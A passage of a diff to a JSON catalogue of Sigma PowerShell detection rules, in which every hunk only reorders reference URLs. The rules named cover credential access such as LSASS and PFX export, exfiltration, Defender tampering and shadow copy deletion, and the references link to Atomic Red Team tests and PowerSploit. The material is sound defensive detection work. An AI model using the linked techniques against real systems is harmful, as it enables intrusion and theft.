"ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/send-mailmessage?view=powershell-7.2", "https://www.ietf.org/rfc/rfc2821.txt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_send_mailmessage.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_send_mailmessage.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/send-mailmessage?view=powershell-7.2" ], "tags": [ "attack.exfiltration", @@ -30619,8 +30617,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/malmoeb/status/1570814999370801158", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_sensitive_file_discovery.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_sensitive_file_discovery.yml", + "https://twitter.com/malmoeb/status/1570814999370801158" ], "tags": [ "attack.discovery", @@ -30643,9 +30641,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", "https://adsecurity.org/?p=2604", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_policies_to_unsecure_level.yml" ], "tags": [ @@ -30696,8 +30694,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Shellntel/scripts/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellintel_malicious_commandlets.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellintel_malicious_commandlets.yml", + "https://github.com/Shellntel/scripts/" ], "tags": [ "attack.execution", @@ -30720,9 +30718,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_software_discovery.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", - "https://github.com/harleyQu1nn/AggressorScripts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_software_discovery.yml" + "https://github.com/harleyQu1nn/AggressorScripts" ], "tags": [ "attack.discovery", @@ -30794,8 +30792,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/oroneequalsone/status/1568432028361830402", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml" ], "tags": [ @@ -30820,8 +30818,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", - "https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_directory_enum.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_directory_enum.yml", + "https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents" ], "tags": [ "attack.discovery", @@ -30891,9 +30889,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a", "https://docs.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_export_pfxcertificate.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_export_pfxcertificate.yml", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a" ], "tags": [ "attack.credential_access", @@ -30916,8 +30914,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md" ], "tags": [ "attack.credential_access", @@ -30940,9 +30938,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/nas_bench/status/1537919885031772161", "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_follina_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_follina_execution.yml", + "https://twitter.com/nas_bench/status/1537919885031772161" ], "tags": [ "attack.defense_evasion", @@ -30965,8 +30963,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/PythonResponder/status/1385064506049630211", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml", + "https://twitter.com/PythonResponder/status/1385064506049630211" ], "tags": [ "attack.credential_access", @@ -30989,8 +30987,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object" ], "tags": [ "attack.privilege_escalation", @@ -31014,8 +31012,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_adcomputer.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_adcomputer.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md" ], "tags": [ "attack.discovery", @@ -31038,8 +31036,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy", "https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_addefaultdomainpasswordpolicy.yml" ], "tags": [ @@ -31087,9 +31085,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_current_user.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_current_user.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script" ], "tags": [ "attack.discovery", @@ -31112,8 +31110,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", "https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_gpo.yml" ], "tags": [ @@ -31137,9 +31135,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-3---process-discovery---get-process", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_process.yml", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_process.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-3---process-discovery---get-process" ], "tags": [ "attack.discovery", @@ -31162,9 +31160,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gwmi.yml", "https://attack.mitre.org/datasources/DS0005/", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gwmi.yml" + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7" ], "tags": [ "attack.persistence", @@ -31187,9 +31185,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_hyper_v_condlet.yml", "https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.006/T1564.006.md#atomic-test-3---create-and-start-hyper-v-virtual-machine", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_hyper_v_condlet.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.006/T1564.006.md#atomic-test-3---create-and-start-hyper-v-virtual-machine" ], "tags": [ "attack.defense_evasion", @@ -31258,8 +31256,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#t1071001---web-protocols", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invoke_webrequest_useragent.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invoke_webrequest_useragent.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#t1071001---web-protocols" ], "tags": [ "attack.command_and_control", @@ -31307,8 +31305,8 @@ "logsource.product": "windows", "refs": [ "https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462", - "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1", "https://github.com/hlldz/Phant0m/blob/30c2935d8cf4aafda17ee2fab7cd0c4aa9a607c2/old/Invoke-Phant0m.ps1", + "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1", "https://gist.github.com/MHaggis/0dbe00ad401daa7137c81c99c268cfb7", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keywords.yml" ], @@ -31357,8 +31355,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1114.001/T1114.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mail_acces.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mail_acces.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1114.001/T1114.001.md" ], "tags": [ "attack.collection", @@ -31381,8 +31379,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mounted_share_deletion.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mounted_share_deletion.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md" ], "tags": [ "attack.defense_evasion", @@ -31430,8 +31428,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.001/T1110.001.md#atomic-test-2---brute-force-credentials-of-single-active-directory-domain-user-via-ldap-against-domain-controller-ntlm-or-kerberos", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_networkcredential.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_networkcredential.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.001/T1110.001.md#atomic-test-2---brute-force-credentials-of-single-active-directory-domain-user-via-ldap-against-domain-controller-ntlm-or-kerberos" ], "tags": [ "attack.credential_access", @@ -31454,9 +31452,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2---map-admin-share-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_new_psdrive.yml", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-psdrive?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_new_psdrive.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2---map-admin-share-powershell" ], "tags": [ "attack.lateral_movement", @@ -31479,8 +31477,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Arno0x/PowerShellScripts/blob/a6b7d5490fbf0b20f91195838f3a11156724b4f7/proxyTunnel.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_proxy_scripts.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_proxy_scripts.yml", + "https://github.com/Arno0x/PowerShellScripts/blob/a6b7d5490fbf0b20f91195838f3a11156724b4f7/proxyTunnel.ps1" ], "tags": [ "attack.command_and_control", @@ -31527,8 +31525,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1531/T1531.md#atomic-test-3---remove-account-from-domain-admin-group", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_remove_adgroupmember.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_remove_adgroupmember.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1531/T1531.md#atomic-test-3---remove-account-from-domain-admin-group" ], "tags": [ "attack.impact", @@ -31552,8 +31550,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", + "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_service_dacl_modification_set_service.yml" ], "tags": [ @@ -31603,9 +31601,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ssl_keyword.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1573/T1573.md#atomic-test-1---openssl-c2", - "https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ssl_keyword.yml" + "https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926" ], "tags": [ "attack.command_and_control", @@ -31628,8 +31626,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_start_process.yml" ], "tags": [ @@ -31653,9 +31651,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_unblock_file.yml", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_unblock_file.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream" ], "tags": [ "attack.defense_evasion", @@ -31678,8 +31676,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_wallpaper.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_wallpaper.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md" ], "tags": [ "attack.impact", @@ -31702,8 +31700,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md" ], "tags": [ "attack.discovery", @@ -31726,8 +31724,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell" ], "tags": [ "attack.impact", @@ -31750,9 +31748,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy_deletion.yml", "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy_deletion.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell" ], "tags": [ "attack.impact", @@ -31775,8 +31773,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md" ], "tags": [ "attack.defense_evasion", @@ -31799,8 +31797,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml", + "https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/" ], "tags": [ "attack.defense_evasion" @@ -31822,8 +31820,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_zip_compress.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_zip_compress.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md" ], "tags": [ "attack.collection", @@ -31846,8 +31844,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/" ], "tags": [ "attack.defense_evasion", @@ -31870,9 +31868,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender.yml" ], "tags": [ @@ -31896,8 +31894,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender_remove_mppreference.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender_remove_mppreference.yml", + "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088" ], "tags": [ "attack.defense_evasion", @@ -31920,9 +31918,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1---testing-usage-of-uncommonly-used-port-with-powershell", - "https://docs.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml" + "https://docs.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps" ], "tags": [ "attack.command_and_control", @@ -31946,8 +31944,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", - "https://www.offensive-security.com/metasploit-unleashed/timestomp/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_timestomp.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_timestomp.yml", + "https://www.offensive-security.com/metasploit-unleashed/timestomp/" ], "tags": [ "attack.defense_evasion", @@ -31994,10 +31992,10 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md", - "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_upload.yml", 